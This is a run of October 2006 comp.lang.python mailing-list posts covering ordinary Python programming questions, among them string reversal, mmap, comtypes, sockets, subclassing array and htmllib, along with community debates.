> >> I'd appreciate it if all >> concerned would close this thread now. > >I think you are overreacting. This was a thread with three (3) postings, in >a high-volume newsgroup, with no indication that it would continue (except >maybe with a pointer to whatever posting the OP wanted to correct, or to his >correction). I'm confused. I assumed Steve was just joking with his original request. Although it might be mirrored on a web site somewhere, this is a Usenet newsgroup. It is impossible to "close" a thread. The concept simply does not exist. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From davidworley at gmail.com Tue Oct 17 14:10:40 2006 From: davidworley at gmail.com (Dave) Date: 17 Oct 2006 11:10:40 -0700 Subject: HTML Encoded Translation Message-ID: <1161108640.669383.178470@h48g2000cwc.googlegroups.com> How can I translate this: gi to this: "gi" I've tried urllib.unencode and it doesn't work. Thanks! From fredrik at pythonware.com Wed Oct 25 01:26:44 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 07:26:44 +0200 Subject: Sorting by item_in_another_list In-Reply-To: <2773CAC687FD5F4689F526998C7E4E5FF1EAEF@au3010avexu1.global.avaya.com> References: <2773CAC687FD5F4689F526998C7E4E5FF1EAEF@au3010avexu1.global.avaya.com> Message-ID: Delaney, Timothy (Tim) wrote: > This is a requirement for all implementations claiming to be 2.3 or > higher. the language reference only guarantees this for CPython: The C implementation of Python 2.3 introduced a stable sort() method, but code that intends to be portable across implementations and versions must not rely on stability. From martin at v.loewis.de Sun Oct 8 16:53:38 2006 From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 08 Oct 2006 22:53:38 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <0BQVg.138807$zy5.1859480@twister1.libero.it> References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de><7x3ba1ltvj.fsf@ruckus.brouhaha.com> <0BQVg.138807$zy5.1859480@twister1.libero.it> Message-ID: <45296552.4060705@v.loewis.de> Giovanni Bajo schrieb: >>> So, you might prefer 6-10 people to activate a new tracker account >>> faster than light. I'd rather have 3-days delay in administrative >>> issues because our single administrator is sleeping or whatever, and >>> then have 2-3 people doing regular bug processing. > > Are you ever going to try and make a point which is not "you are not entitled > to have opinions because you do not act"? Your sarcasm is getting annoying. And > since I'm not trolling nor flaming, I think I deserve a little bit more of > respect. You seem to imply that people who are willing to do roundup admin could regularly, easily do bug triage, and also would be willing to do so. I can attest that this assumption is sooooooo remote from the truth that I can't really believe you really meant it. I have called for people doing bug review and providing patches many many times, and most of these calls got unheard. Regards, Martin From timr at probo.com Thu Oct 26 00:28:21 2006 From: timr at probo.com (Tim Roberts) Date: Thu, 26 Oct 2006 04:28:21 GMT Subject: using mmap on large (> 2 Gig) files References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <1161648415.830523.225520@k70g2000cwa.googlegroups.com> <1161730045.377608.221250@e3g2000cwe.googlegroups.com> Message-ID: "sturlamolden" wrote: > >However, "memory mapping" a file by means of fseek() is probably more >efficient than using UNIX' mmap() or Windows' >CreateFileMapping()/MapViewOfFile(). My goodness, do I disagree with that! At least on Windows, I/O on a file mapped with MapViewOfFile uses the virtual memory pager -- the same mechanism used by the swap file. Because it is so heavily used, that is some of the most well-optimized code in the system. >We can implement a container object backed by a binary file just as >efficient (and possibly even more efficient) without using the OS' >memory mapping facilities. The major advantage is that we can >"pseudo-memory map" a lot more than a 32 bit address space can harbour. Both the Unix mmap and the Win32 MapViewOfFile allow a starting byte offset. It wouldn't be rocket science to extend Python's mmap to allow that. >There are in any case room for improving Python's mmap object. Here we agree. -- Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From steve at REMOVE.THIS.cybersource.com.au Thu Oct 19 19:04:07 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Fri, 20 Oct 2006 09:04:07 +1000 Subject: invert or reverse a string... warning this is a rant References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: On Thu, 19 Oct 2006 12:38:55 -0400, Brad wrote: > John Salerno wrote: >> rick wrote: >>> Why can't Python have a reverse() function/method like Ruby? >> >> I'm not steeped enough in daily programming to argue that it isn't >> necessary, but my question is why do you need to reverse strings? Is it >> something that happens often enough to warrant a method for it? > > I'm home for lunch so my email addy is different. > > No, it doesn't happen very often, but when I need to reverse something > (usually a list or a string). I can never remember right of the top of > my head how to do so in Python. I always have to Google for an answer or > refer back to old code. > > IMO, I should be able to intuitively know how to do this. Python is so > user-friendly most every place else... why can it not be so here? I agree -- the reversed() function appears to be an obvious case of purity overriding practicality :( >>> str(reversed("some string")) '' >>> repr(reversed("some string")) '' Not very useful. The simplest ways to get a reversed string seem to be: >>> "some string"[::-1] 'gnirts emos' >>> ''.join(list(reversed("some string"))) 'gnirts emos' neither of which are exactly intuitive, but both are standard Python idioms. > I wrote this so I'll never have to remember this again: > > def invert(invertable_object): > try: > print invertable_object[::-1] > return invertable_object[::-1] > except: > print 'Object not invertable' > return 1 Gah!!! That's *awful* in so many ways. (1) The name is bad. "invert" is not the same as "reverse". Here's an invert: 1/2 = 0.5. Your function falsely claims numbers aren't invertable. (2) Why calculate the reversed object twice? (3) It is poor practice to have the same function both *print* the result and *return* the result. What happens when you want the reversed object, but you don't want it to print? You either write a new function, or you muck about capturing output and hiding it. You should return the result, and leave it up to the caller to print if they want to print. (That's a complaint I have about the dis module -- it prints its results, instead of returning them as a string. That makes it hard to capture the output for further analysis.) (4) Why are you capturing Python's perfectly good and useful traceback, and printing an unhelpful error message? (5) Errors should raise exceptions, not return "magic numbers" like 1. 1 is not an error-state, it is perfectly fine output. Now you have to remember that your invert function returns 1 on error, and calling code has to check for it: list_of_reversed_object = [] for obj in list_of_objects_to_reverse: temp = invert(obj) if temp == 1: raise ValueError("invalid object") # or do something else... list_of_reversed_objects.append(temp) Compare: list_of_reversed_object = [] for obj in list_of_objects_to_reverse: list_of_reversed_objects.append(invert(obj)) Or if you want to skip invalid objects: list_of_reversed_object = [] for obj in list_of_objects_to_reverse: try: list_of_reversed_objects.append(invert(obj)) except SomeError: pass -- Steven. From kay.schluehr at gmx.net Wed Oct 11 02:16:42 2006 From: kay.schluehr at gmx.net (Kay Schluehr) Date: 10 Oct 2006 23:16:42 -0700 Subject: Python component model In-Reply-To: References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> Message-ID: <1160547402.352473.229480@k70g2000cwa.googlegroups.com> Hendrik van Rooyen wrote: > "Fredrik Lundh" wrote: > > Nick Vatamaniuc wrote: > > > > > At the same time one could claim that Python already has certain > > > policies that makes it seem as if it has a component model. > 8<---------------------------------------------------------------------------- > > > implementing this using existing mechanisms is trivial (as the endless > > stream of interface/component/adapter/trait implementations have shown > > us); coming up with a good-enough-to-be-useful-for-enough-people > > vocabulary is a lot harder. > > not sure if its trivial - but agree about the generality - my meat is your > poison effect operating here - > and also - standards are not per se a *Good Thing* - they stifle both > inventiveness and diversity... > > - Hendrik Culture matters. Some things exist below a certain level of visibility and are quite evident for their practitioners but hardly recognized by anyone else. http://bitworking.org/news/Why_so_many_Python_web_frameworks There is not even a name for this kind of "coherent diversity" and at least Python doesn't brand it in any way. Maybe Pythons "obvious one way to do it" credo is more harmfull to the community as a whole than not having invented RoR. Python is ironically not proofed by hype which always favours a cyclopic universe of a single true solution. From fredrik at pythonware.com Thu Oct 12 02:23:50 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 12 Oct 2006 08:23:50 +0200 Subject: Standard Forth versus Python: a case study In-Reply-To: <7xslhuxg6w.fsf@ruckus.brouhaha.com> References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <7xslhuxg6w.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: >> Ok, I'll bite. How do you compute the median of a list using just a single >> temp var? > > Well there's an obvious quadratic-time method... that does it without modifying the list? if you can modify the list, there are plenty of algorithms that does it in expected O(n) or better, but I cannot think of a one that doesn't use at least a few variables (e.g. two list indexes and a pivot). but I haven't had enough coffee yet, so I'm probably missing something simple here. From andrew.markebo at comhem.se Tue Oct 10 08:06:27 2006 From: andrew.markebo at comhem.se (Andrew Markebo) Date: Tue, 10 Oct 2006 12:06:27 GMT Subject: Linting python code... Message-ID: Alalalala lint.. alalalala lint... Ehm :-) Are there any python-code linter out there - or the code is so easy to write that it always is so perfekt? :-) /Andy -- Don't walk in front of me, I might be unable to follow you. Don't walk after me, I might be unable to lead you. Just walk by my side and be my friend. From g.brandl-nospam at gmx.net Sun Oct 22 06:01:11 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Sun, 22 Oct 2006 12:01:11 +0200 Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax Trees In-Reply-To: References: Message-ID: Michael Spencer wrote: > Announcing: compiler2 > --------------------- > > For all you bytecode enthusiasts: 'compiler2' is an alternative to the standard > library 'compiler' package, with several advantages. Is this a rewrite from scratch, or an improved stdlib compiler package? In the latter case, maybe you can contribute some patches to the core. Georg From Luwian at gmail.com Mon Oct 23 20:02:19 2006 From: Luwian at gmail.com (Lucas) Date: 23 Oct 2006 17:02:19 -0700 Subject: How to get each pixel value from a picture file! In-Reply-To: <453d5360$0$13811$4d3efbfe@news.sover.net> References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com> <1161643563.111993.109480@b28g2000cwb.googlegroups.com> <1161645289.453600.107140@h48g2000cwc.googlegroups.com> <453d5360$0$13811$4d3efbfe@news.sover.net> Message-ID: <1161648139.576054.214070@k70g2000cwa.googlegroups.com> http://www.pythonware.com/library/pil/handbook/image.htm im.load() said.... Leif K-Brooks wrote: > Lucas wrote: > > 1)I just copy the tutorial to run "print pix[44,55]". I really dont > > know why they wrote that?! > > What tutorial? Where does it say that? From winkatl1213 at yahoo.com Thu Oct 5 10:25:59 2006 From: winkatl1213 at yahoo.com (winkatl1213 at yahoo.com) Date: 5 Oct 2006 07:25:59 -0700 Subject: Getting a ValueError with comtypes Message-ID: <1160058359.839402.3600@k70g2000cwa.googlegroups.com> Hello, I am working with comtypes to interface Microsoft's DirectShow library. First, I found a Type Library on the internet that was created for accessing DirectShow from .NET. It seems that DirectShow only comes with IDL files and no type library. This got me started. The following line imports the typelibrary and automatically generates a wrapper module for DirectShow. ds = comtypes.client.GetModule('DirectShow.tlb') Next, I can basically start with something like this: graph = comtypes.CoCreateInstance(CLSID_FilterGraph, ds.IGraphBuilder, comtypes.CLSCTX_INPROC_SERVER) I had to create the CLSID_FilterGraph parameter myself by doing the following: CLSID_FilterGraph = comtypes.GUID('{e436ebb3-524f-11ce-9f53-0020af0ba770}') One of the first issues I ran into was that the type library I found on the web didn't expose the IMediaControl interface. So, using the generated wrapper as a template, I created my own wrapper: class IMediaControl(comtypes.IUnknown): _case_insensitive_ = True _iid_ = comtypes.GUID('{56A868B1-0AD4-11CE-B03A-0020AF0BA770}') _idlflags_ = [] IMediaControl._methods_ = [ COMMETHOD([], HRESULT, 'Run'), COMMETHOD([], HRESULT, 'Pause'), COMMETHOD([], HRESULT, 'Stop'), COMMETHOD([], HRESULT, 'StopWhenReady'), COMMETHOD([], HRESULT, 'GetState', (['in'], c_long, 'msTimeout'), (['out'], POINTER(c_int), 'pfs' )) ] This got me further. Once I defined the interface, I get access to the interface by calling: control = graph.QueryInterface(IMediaControl) This seemed to work. Once I got everything setup, I tried to use this interface. For example: control.Run() This generates an exception: Traceback (most recent call last): File "", line 1, in ? File "ds.py", line 462, in play control.Run() ValueError: Procedure probably called with not enough arguments (4 bytes missing) You can get errors like this when using ctypes if you use the wrong calling convention (CDLL versus WINDLL). The method "Run" on the IMediaControl interface doesn't take any arguments. I did notice that some wrapper code uses STDMETHOD versus COMMETHOD, but changing this didn't make any difference. Can anyone explain what might be happening here, or offer some suggestions? Thanks in advance, Jeff From python.list at tim.thechases.com Tue Oct 10 14:50:57 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Tue, 10 Oct 2006 13:50:57 -0500 Subject: Is a list static when it's a class member? In-Reply-To: <1160505300.141637.40170@i3g2000cwc.googlegroups.com> References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com> Message-ID: <452BEB91.4070002@tim.thechases.com> > class A: > name = "" > data = [] > def __init__(self, name): > self.name = name > def append(self, info): > self.data.append(info) > def enum(self): > for x in self.data: > print "\t%s" % x > How do i get: > A: > one > two > B: > horse > bear > A: > one > two class A: name = "" # data = [] # just move this line def __init__(self, name): # self.name = name # self.data = [] # here def append(self, info): self.data.append(info) def enum(self): for x in self.data: print "\t%s" % x It will be given a "fresh" list upon each __init__ call. -tkc From fredrik at pythonware.com Thu Oct 12 05:38:21 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 12 Oct 2006 11:38:21 +0200 Subject: python's newbie question References: <1160644525.605518.55840@e3g2000cwe.googlegroups.com> Message-ID: tpochep at mail.ru wrote: > begin... > Derived.__init__: > Base1.__init__ <__main__.Derived instance at 0x1869adcc> > Base2.__init__ <__main__.Derived instance at 0x1869adcc> > end... > Derived.__del__: > Exception exceptions.AttributeError: "'NoneType' object has no > attribute '__del__'" in Derived.__del__ of <__main__.Derived instance at 0x1869adcc>> ignored > > I tried different names instead of b1, sometimes programm works, > sometimes I have an exception. So it's clear, that I've done some > stupid mistake, but it's not clear for me, python's newbie, where :) The real mistake here is to use __del__ in your program; don't do that, unless you have really good reasons (and they are few and not very common). In most cases, you can just rely on Python's garbage collector; it'll clean up after you all by itself, most of the time. The error you're seeing is due to the fact that Python attempts to destroy every- thing during shutdown, and this process includes clearing out the contents of all modules in the program. Your object is simply destroyed *after* the module it's defined in is cleared. To work around this, you need to keep references to all objects you might end up needing in your object. (Or just drop the __del__ methods. Chances are that you don't really need them.) For more on module cleanup, see this old Guido essay: http://www.python.org/doc/essays/cleanup/ From fredrik at pythonware.com Mon Oct 16 11:58:09 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 16 Oct 2006 17:58:09 +0200 Subject: How to increase buffer size of a file ? In-Reply-To: <45339A17.1070607@gmail.com> References: <45339A17.1070607@gmail.com> Message-ID: durumdara wrote: > How to increase buffer size of a file ? > I want to use more buffer, but I don't want to replace every file object > with my class. the open() file factory takes the buffer size as an optional third argument. see the documentation for details. From onurb at xiludom.gro Thu Oct 12 12:36:50 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Thu, 12 Oct 2006 18:36:50 +0200 Subject: Click and Drag Functionality in Web Apps with Python In-Reply-To: References: Message-ID: <452e6f23$0$4534$426a34cc@news.free.fr> Wijaya Edward wrote: > Hi, > > Some recent webapps like Kiko , Google's gadget , and spreadsheets to name a few, > have this functionality. > > I wonder how can this funcitonalities be implemented in Python. I wonder too !-) Seriously: this is done with Javascript, not Python. But if you're looking for a Python web framework making such things easy, then Pylons is for you: http://pylonshq.com/docs/0.9.2/quick_wiki.html#delete http://pylonshq.com/project/pylonshq/wiki/AjaxGettingStarted HTH -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From irmen.NOSPAM at xs4all.nl Mon Oct 23 18:44:44 2006 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Tue, 24 Oct 2006 00:44:44 +0200 Subject: Socket module bug on OpenVMS In-Reply-To: References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl> Message-ID: <453d45de$0$336$e4fe514c@news.xs4all.nl> Fredrik Lundh wrote: > Irmen de Jong wrote: > >> This also raises the question to what extent Python itself should >> work around platform specific "peculiarities", such as this one. >> There's another problem with socket code on Windows and VMS systems, >> where you get strange exceptions when using a "too big" recv() buffer. > > what's a "strange exception" and a "too big" buffer? The exceptions are MemoryError (I know this one for sure) and a socket.error I believe (can't remember exactly, and I don't have a VMS machine to try to reproduce). Too big buffer means anything above 64 kilobyte or so. You can find a lot of reports about this happening on Windows at least. From user reports I've learned that VMS also has similar problems with recv buffer sizes above a certain size. >> Things like this force me into writing all sorts of error checking >> code or platform specific functions, to work around these bugs. >> Just for what was supposed to be a simple socket recv() and a >> simple socket send()... > > if you want buffering, use makefile(). relying on platform-specific > behaviour isn't a good way to write portable code. I'm not sure if makefile() would shield me from the problems I experienced (I could try I suppose) but your second remark is exactly my point! I don't *want* to code around platform-specific behavior. I *want* my code to be portable. And I expected it to be portable by just using a regular recv() call... However as it is now, Python's socket module exposes platform specific (and troublesome) behavior, so I have to write various workarounds to make my code run without errors on multiple platforms... Regards, --Irmen de Jong From devilwolf22 at gmail.com Tue Oct 10 16:32:30 2006 From: devilwolf22 at gmail.com (Steve Menard) Date: Tue, 10 Oct 2006 16:32:30 -0400 Subject: (semi-troll): Is Jython development dead? References: Message-ID: <1PVWg.35855$HE.987929@weber.videotron.net> "Walter S. Leipold" wrote in message news:mailman.218.1160491229.11739.python-list at python.org... > John Roth (JohnRoth1 at jhrothjr.com) wrote: >> I've had a couple of inquiries about Jython support >> in PyFIT, and I've had to say that it simply isn't >> supported. The latest point release requires Python >> 2.3, and 2.4 will be required in the next year or so. >> >> John Roth >> Python FIT > > Just last month, Sun hired Charles Nutter and Thomas Enebo to work on > JRuby > full-time. Can somebody with some street cred (like the PSF) do something > to persuade Sun to support Jython the same way? > > -- Walt Keep in mind that Ruby and Python are close enough in style, that any improvements those guys make will also benifit Jython. Also, they haven't been hired to work exclusively on JRuby. They were also hired to look at tools to help with programming with dynamic languages. In this regard, they can help not only Jython, but Python itself! All in all a very good thing to see a high-profile company invest in dynamic languages. Steve Menard From fredrik at pythonware.com Tue Oct 24 11:59:25 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 17:59:25 +0200 Subject: Visibility against an unknown background In-Reply-To: References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com> Message-ID: Sergei Organov wrote: > There is a better way to do it. Check if the toolkit has line drawing > mode that XORs the line color with the background, then draw using this > mode and white color of the line. which means that the selection looks like crap most of the time, and doesn't work at all on medium gray or b/w dithered patterns. for most cases, "marching ants" is a much better approach (usually done by drawing alternating stippled patterns). see e.g. http://en.wikipedia.org/wiki/Marching_ants for some background. From apardon at forel.vub.ac.be Fri Oct 27 06:40:43 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 27 Oct 2006 10:40:43 GMT Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: On 2006-10-27, Fredrik Lundh wrote: > Antoon Pardon wrote: > >> The latter will treat None and False the same as [], () and {}, >> which in most of my code is not what I want. > > since you never publish any code, This is not True. You shouldn't confuse your lack of recollection with reality. > what you do in your code is not very interesting to anyone. I doubt I'm the only one who has code that treats None and False differently from [], () and {} -- Antoon Pardon From bjobrien62 at gmail.com Wed Oct 4 11:06:30 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 4 Oct 2006 08:06:30 -0700 Subject: Need help with syntax on inheritance. In-Reply-To: References: <1159927793.600354.150330@b28g2000cwb.googlegroups.com> Message-ID: <1159974390.674961.214690@k70g2000cwa.googlegroups.com> Peter Otten wrote: > SpreadTooThin wrote: > > > If you are deriving a new class from another class, > > that you must (I assume) know the initializer of the other class. > > > > So in myClass > > > > import array > > class myClass(arrary.array): > > def __init__(self, now here I need to put array's constructor > > parameters..., then mine): > > array.array.__init__(self, typecode[, initializer]) > > self.mine = mine > > > > So I'm confused... > > array has a typecode parameter and an optional initiializer... > > So could you help me with the class construction here please? > > Normally you would do > > # won't work > class Array(array.array): > def __init__(self, typecode, initalizer=(), mine=None): > array.array.__init__(self, typecode, initializer) > self.mine = mine > > However, array.array is a bit harder to subclass: > > # should work > class Array(array.array): > def __new__(cls, typecode, initializer=(), mine=None): > return array.array.__new__(cls, typecode, initializer) > def __init__(self, typecode, initializer=(), mine=None): > array.array.__init__(self, typecode, initializer) > self.mine = mine > > See if you can get away by making the array an attribute of your class > instead. > Thanks. the =() syntax indicates what? Just slightly off topic here but if Array had a bunch of initializers of its own, must all the 'optional' parameters be on the right.. ie the last parameters? > Peter From steve at holdenweb.com Mon Oct 9 03:31:05 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 09 Oct 2006 08:31:05 +0100 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1160345922.051578.146630@i3g2000cwc.googlegroups.com> References: <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> <1160262952.734016.306150@e3g2000cwe.googlegroups.com> <452846fe.0@entanet> <1160267115.309599.26160@e3g2000cwe.googlegroups.com> <1160269607.522241.311160@m73g2000cwd.googlegroups.com> <1160332330.684420.276560@e3g2000cwe.googlegroups.com> <1160335473.625244.261640@m7g2000cwm.googlegroups.com> <1160345922.051578.146630@i3g2000cwc.googlegroups.com> Message-ID: MonkeeSage wrote: > On Oct 8, 3:05 pm, Steve Holden wrote: > >>No: you are proposing to add features to the sequence interface for >>which there are few demonstrable use cases. > > > If I really wanted to find them, how many instances do you think I > could find [in the standard lib and community-respected third-party > libs] of sequence index checking like "if 2 < len(seq)" and / or > try-excepting like "try: seq[2] ..."? Judging by the fact that there > isn't any other way to *safely* handle dynamic sequences (esp. > sequences which grow based on side-effects which may or may not be > present, depending on the execution path through the code); I'd guess > the number is alot higher than you seem to think. > Keep right on guessing. > >>Well I certainly didn't find your last one particularly convincing: the >>attempt to reference a non-existent sequence member is almost always a >>programming error. > > > Unless you are interacting with user input, or other anomalous data > source. And in that case you need to do explicit index checking or wrap > your code with a try...except; that or you need a convenience function > or method that implements a non-terminating exception, and you just > check for the exceptional case, like dictionaries have with get(). I > find the latter approach to be easier to read and write (see link > below), as well as understand. > OK, so now we appear to be arguing about whether a feature should go into Python because *you* find it to be easier to read and write. But I don't see a groundswell of support from other readers saying "Wow, I've always wanted to do it like that". > >>I would argue exactly the opposite: the reason why they shouldn't be >>implemented is because no good reason has been presented why they *should*. > > > Pretend like there are no dict.has_key and dict.get methods. Can you > provide a good reason(s) why they should be implemented? Not necessity > -- since you can do the same thing more verbosely. Usefulness? -- > Probably; but I think the list methods would also be useful (see > above). Succinctness [1]? -- The list methods have the same advantage. > Anything else? > > [1] http://mail.python.org/pipermail/python-dev/1999-July/000594.html > Nope. In fact d.has_key(k) is a historical spelling, retained only for backwards compatibility, of k in dict. As to the d.get(k, default) method I really don't see a compelling use case despite your protestations, and I don't seem to be alone. Please feel free to start recruiting support. > > On Oct 8, 3:11 pm, Fredrik Lundh wrote: > >>>Huh? I don't want to treat sequences and mappings as the same thing. >>>I'm talking about adding two similar convenience methods for sequences >>>as already exist for mappings.so what makes you think you're the first one who's ever talked about that? > > > I looked yesterday and only found a few posts. A couple involved > Marc-Andre Lemburg, and mxTools, where he has a get() function that > works for sequences and mappings; that's not what I'm suggesting. > However, I found one from 1997 where he mentioned a patch to python 1.5 > which added list.get, but I couldn't find the patch or any discussion > of why it was (presumably) rejected. The only other post I found that > was relevant was one on the dev-python list (mentioned in the July 1-15 > summery [1]). And the only thing mentioned there as a reason against it > is that "It encourages bad coding. You > shouldn't be searching lists and tuples like that unless you know what > you're doing." (Whatever that is supposed to mean!). > > Just point me to the discussion where the good reasons (or any at all) > against my suggestion can be found and I'll be glad to read it. I > couldn't find it. > > [1] > http://www.python.org/dev/summary/2006-07-01_2006-07-15/#adding-list-get-and-tuple-get > The fact that nobody has listed the good reasons why I shouldn't try to make a computer from mouldy cheese doesn't make this a good idea. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From bdesth.quelquechose at free.quelquepart.fr Tue Oct 24 18:44:41 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Wed, 25 Oct 2006 00:44:41 +0200 Subject: strange problem In-Reply-To: References: Message-ID: <453e92ec$0$12406$426a74cc@news.free.fr> ken a ?crit : > This file has 1,000,000+ lines in it, yet when I print the counter 'cin' > at EOF I get around 10,000 less lines. Any ideas? Not without seeing the file. But I'm not sure I want to see it !-) > lineIn = > csv.reader(file("rits_feed\\rits_feed_US.csv",'rb'),delimiter='|') > for emp in lineIn: > cin=cin+1 > print cin Note that manually tracking line count/number is way too boring. That's why Python as enumerate(seq) => indice, item From martin at v.loewis.de Fri Oct 13 18:37:36 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 14 Oct 2006 00:37:36 +0200 Subject: Cannot force configure/setup.py to pick up location of readline (SFWrline) on Solaris 10 In-Reply-To: References: Message-ID: <45301530.1080906@v.loewis.de> Chris Miles schrieb: > How do I force the build to use the custom paths? Not through setup.py. Instead, you edit Modules/Setup to provide per-module compile and link flags. Regards, Martin From sumesh.chopra at gmail.com Tue Oct 31 16:26:12 2006 From: sumesh.chopra at gmail.com (unexpected) Date: 31 Oct 2006 13:26:12 -0800 Subject: Integrating Python with Fortran Message-ID: <1162329971.939178.290250@m7g2000cwm.googlegroups.com> Hi all, I'm currently working on a large, legacy Fortran application. I would like to start new development in Python (as it is mainly I/O related). In order to do so, however, the whole project needs to be able to compile in Fortran. I'm aware of resources like the F2Py Interface generator, but this only lets me access the Fortran modules I need in Python. I'm wondering if there's a way to generate the .o files from Python (maybe using py2exe?) and then link the .o file with the rest of the Fortran project using something like gcc. I realize that all of this is highly dependent on the libraries I use, etc, but I'm just looking for general strategies to attack the problem or someone to tell me that this is impossible. From steven.bethard at gmail.com Fri Oct 6 11:15:23 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Fri, 06 Oct 2006 09:15:23 -0600 Subject: groupby and itemgetter In-Reply-To: References: Message-ID: Roman Bertle wrote: > Hello, > > there is an example how to use groupby in the itertools documentation > (http://docs.python.org/lib/itertools-example.html): > > # Show a dictionary sorted and grouped by value >>>> from operator import itemgetter >>>> d = dict(a=1, b=2, c=1, d=2, e=1, f=2, g=3) >>>> di = sorted(d.iteritems(), key=itemgetter(1)) >>>> for k, g in groupby(di, key=itemgetter(1)): > ... print k, map(itemgetter(0), g) > ... > 1 ['a', 'c', 'e'] > 2 ['b', 'd', 'f'] > 3 ['g'] > > Now i wonder why itemgetter is used in this example. More > straightforward is: > >>>> d = dict(a=1, b=2, c=1, d=2, e=1, f=2, g=3) >>>> di = sorted(d.iterkeys(), key=d.get) >>>> for k, g in groupby(di, key=d.get): > ... print k, list(g) > ... > 1 ['a', 'c', 'e'] > 2 ['b', 'd', 'f'] > 3 ['g'] > > This code does not need the operator module, and its also faster (tested > using timeit). It looks like it's even faster if you drop the iterkeys() call and just write: di = sorted(d, key=d.get) As to why itemgetter is used, I don't really know... STeVe From david.bear at asu.edu Tue Oct 3 23:38:54 2006 From: david.bear at asu.edu (David Bear) Date: Tue, 03 Oct 2006 20:38:54 -0700 Subject: understanding htmllib Message-ID: <2095340.jb7ycSJnFA@teancum> I'm trying to understand how to use the HTMLParser in htmllib but I'm not seeing enough examples. I just want to grab the contents of everything enclosed in a '' tag, i.e. items from where begins to where ends. I start by doing class HTMLBody(HTMLParser): def __init__(self): self.contents = [] def handle_starttag().. Now I'm stuck. I cant see that there is a method on handle_starttag that would return everthing to the end tag. And I haven't seen anything on how to define my one handle_unknowntag.. Any pointers would be greatly appreciated. The documentation on this module at python.org seems to assume a great deal about what the reader would already know about which methods they should subclass. -- David Bear -- let me buy your intellectual property, I want to own your thoughts -- From bdesth.quelquechose at free.quelquepart.fr Tue Oct 24 19:21:50 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Wed, 25 Oct 2006 01:21:50 +0200 Subject: Sending Dictionary via Network In-Reply-To: <1161730229.556578.278020@f16g2000cwb.googlegroups.com> References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com> Message-ID: <453e9ba0$0$3276$426a34cc@news.free.fr> mumebuhi a ?crit : > Hi, > > Is it possible to send a non-string object from a Python program to > another? I particularly need to send a dictionary over to the other > program. However, this is not possible using the socket object's send() > function. > > Help? >>> d = dict(one=1, two="three", question="life, universe, and everything") >>> import simplejson >>> s = simplejson.dumps(d) >>> s '{"question": "life, universe, and everything", "two": "three", "one": 1}' >>> simplejson.loads(s) == d True http://cheeseshop.python.org/pypi/simplejson If you *really* want to "share" objects between programs, there are way to do so (pyro comes to mind). But this gets more complicated... From ashutosh.mishra at gmail.com Fri Oct 13 13:37:26 2006 From: ashutosh.mishra at gmail.com (Ash) Date: 13 Oct 2006 10:37:26 -0700 Subject: Enthought python - Traits In-Reply-To: <1160689540.795369.67620@c28g2000cwb.googlegroups.com> References: <1160680596.521987.110210@e3g2000cwe.googlegroups.com> <1160689540.795369.67620@c28g2000cwb.googlegroups.com> Message-ID: <1160761046.187146.252840@f16g2000cwb.googlegroups.com> Thanks Peter .. I will check out the mailing list. In the meanwhile - i have made some progress. Now working out - how to get a button_fired event to actually return the values .. It's a process (as always..) Cheers, -A Peter Wang wrote: > Ash wrote: > > Hello everyone ! > > > > I am trying to find some sort of a cookbook or more examples for using > > Enthought Traits to build GUI's. I tried to follow the documentations > > present at the enthought site, but couldnt get too far - especially on > > how to handle a control event ? > > The traits manual is in the 